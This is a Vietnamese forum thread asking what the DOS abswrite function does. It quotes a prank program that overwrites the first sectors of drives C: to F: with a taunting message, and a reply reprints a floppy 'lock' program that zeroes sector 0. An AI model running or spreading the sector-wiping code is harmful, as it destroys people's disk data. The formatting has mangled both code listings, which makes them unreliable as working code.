Từ 1 tới 3 trên tổng số 3 kết quả

Đề tài: hàm abswrite trong thư viện dos.h làm nhiệm vụ gì

  1. #1
    Ngày gia nhập
    04 2008
    Bài viết
    244

    Mặc định hàm abswrite trong thư viện dos.h làm nhiệm vụ gì

    PHP Code:
    #include <dos.h>
    #include <string.h>

    main()
    {
        
    char *vir;
        
    int i;

        
    strcpy(vir,"");
        for (
    i=0i<40i++)
          
    strcat(vir,"HOWS IT DOING ROYAL UGLY DUDES!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
        
    abswrite(2,50,0,vir);
        
    abswrite(3,50,0,vir);
        
    abswrite(4,50,0,vir);
        
    abswrite(5,50,0,vir);
        
    printf("Ouch dude... sorry..");
    }; 
    em có đoạn code này...xin hỏi là hàm abswrite(2,50,0,vir); làm nhiệm vụ gì ạ...cảm ơn anh rất nhiều

  2. #2
    Ngày gia nhập
    06 2007
    Nơi ở
    C:\WINDOWS\system32\dllcache\
    Bài viết
    3,006

    TC: int abswrite( int drive, int sectors, int start, void *buffer )


    - prototype in dos.h

    - writes absolute logical disk sectors
    - drive = (0=A:, 1=B:, 2=C:, ...)
    - sectors = # of sectors to write
    - start = beginning logical sector number
    - buffer = address of buffer
    - TC++ accounts for DOS 4.x+ long sector values while TC 2.0 and
    earlier do not (see INT 25)
    - returns 0 if OK; -1 on error; errno has DOS error number
    ^_,^

    Tổng hợp các câu chuyện hài hước vui nhộn, sử dụng Speech Synthesis để đọc : https://www.youtube.com/channel/UCLk...Tjrg/playlists


    Bùi Tấn Quang

  3. #3
    Ngày gia nhập
    06 2007
    Nơi ở
    C:\WINDOWS\system32\dllcache\
    Bài viết
    3,006

    ps: bạn có thể tham khảo ví dụ này để hiểu vấn đề hơn

    Chống truy cập dữ liệu trên đĩa mềm

    VÕ MINH TÂN (intelnew@fptnet.com.vn)

    Bạn có một tài liệu hay một chương trình quan trọng muốn cất giữ trên đĩa mềm (FDD). Nhưng bạn lo sợ người khác đọc được, sao chép trộm nó. Khi gặp trường hợp này, bạn hãy dùng ngôn ngữ lập trình C (có thể dùng Turbo C hoặc Borland C) và gõ lại đoạn mã (source code) sau, rồi tiến hành biên dịch và chạy chương trình để bảo vệ những dữ liệu quý giá trên đĩa mềm.

    Nguyên lý làm việc của chương trình rất đơn giản. Như bạn đã biết, dung lượng của đĩa mềm là 1.44MB nên sẽ có 2879 sector, trong đó có 33 sector (từ sector 0 đến sector 32) không dùng vào việc lưu trữ dữ liệu mà chỉ lưu trữ thông tin quản lý của những sector ở phần dữ liệu.

    Khi đọc đĩa mềm, đầu đọc sẽ bắt đầu đọc từ sector 0. Do vậy, để không cho người khác thấy được những gì có trong đĩa mềm thì bạn phải “phá” sector 0 này. Để làm điều này, bạn chỉ việc lưu thông tin của sector 0 vào một sector nào đó trên đĩa mềm (nên lưu vào sector nào đó ở cuối đĩa, tuyệt đối không được lưu vào các sector từ 0 đến 32), sau đó ghi giá trị 0 cho toàn bộ 512 byte của sector 0. Để truy xuất lại dữ liệu trên đĩa mềm này, bạn chỉ việc lấy thông tin trên sector mà trước đây đã lưu giữ thông tin của sector 0 và ghi lại vào sector 0.

    Lưu ý: Sau khi chạy chương trình “chống truy cập dữ liệu trên đĩa mềm”, bạn vẫn có thể còn truy xuất được dữ liệu trên đĩa mềm này. Do đó, bạn cần đẩy đĩa mềm ra khỏi ổ đĩa rồi đẩy vào lại thì đĩa mới được bảo vệ.

    Dưới đây là đoạn mã của chương trình:
    PHP Code:
    #include<dos.h>
    #include<stdlib.h>
    #include<stdio.h>
    #include<conio.h>
    void LockFDD()
    {
    char *buf =(char*) malloc (512);
    absread(0,1,0,buf);
    abswrite(0,1,2800,buf);
    for(
    int i=0;i<512;i++)
    buf=0;
    abswrite(0,1,0,buf);
    free(buf);
    }
    void UnLockFDD()
    {
    charbuf =(char*) malloc (512);
    absread(0,1,2800,buf);
    abswrite(0,1,0,buf);
    free(buf);
    }
    int main()
    {
    clrscr();
    printf("CHUONG TRINH CHONG TRUY XUAT DU LIEU TREN DIA MEM\n");
    printf("Nhan 1 de khoa dia \n");
    printf("Nhan 2 de mo khoa dia \n");
    printf("Nhan 3 de thoat chuong trinh. \n");
    switch(
    getch())
    {
    case 
    49 LockFDD(); break;
    case 
    50 UnLockFDD(); break;
    default : 
    printf("Xem lai cach dung!");
    exit(
    1);
    }
    return 
    0;

    Các bạn có thể liên lạc với tôi, hoặc truy cập vào Website


    nguồn : echip


    Cảnh báo bạn :

    Đoạn code trên có thể gây nguy hại đến cho mọi người ( chạy thử ).

    Lần sau pót bài thắc mắc về các code "độc" hãy comment rõ ràng nha.

    Vì cộng động chung.
    Đã được chỉnh sửa lần cuối bởi langman : 19-07-2008 lúc 06:47 PM.
    ^_,^

    Tổng hợp các câu chuyện hài hước vui nhộn, sử dụng Speech Synthesis để đọc : https://www.youtube.com/channel/UCLk...Tjrg/playlists


    Bùi Tấn Quang

Các đề tài tương tự

  1. Thêm và Sửa Table có quan hệ nhiều nhiều trong mô hinh MVC như thế nào?
    Gửi bởi minhchi trong diễn đàn Thắc mắc lập trình ASP.NET
    Trả lời: 3
    Bài viết cuối: 26-05-2012, 04:32 PM
  2. Cập nhật nhiều Gridview vào nhiều datatable trong Dataview
    Gửi bởi MYNAM trong diễn đàn Thắc mắc lập trình C#
    Trả lời: 0
    Bài viết cuối: 10-07-2011, 12:08 PM
  3. chọn nhiều Properties checked cho nhiều radio trong 1 fomm
    Gửi bởi lotus88 trong diễn đàn Thắc mắc lập trình C#
    Trả lời: 10
    Bài viết cuối: 06-06-2011, 05:34 PM
  4. Nhiệt âm kế, đo nhiệt độ, độ ẩm trong phòng,call 0979109862
    Gửi bởi kinhdoanhhv_02 trong diễn đàn Giới thiệu website, sản phẩm của bạn
    Trả lời: 0
    Bài viết cuối: 18-05-2011, 11:24 AM
  5. absread và abswrite trong vc 6.0
    Gửi bởi blackangel trong diễn đàn Thắc mắc lập trình Visual C++
    Trả lời: 2
    Bài viết cuối: 17-05-2008, 10:31 PM

Quyền hạn của bạn

  • Bạn không thể gửi đề tài mới
  • Bạn không thể gửi bài trả lời
  • Bạn không thể gửi các đính kèm
  • Bạn không thể chỉnh sửa bài viết của bạn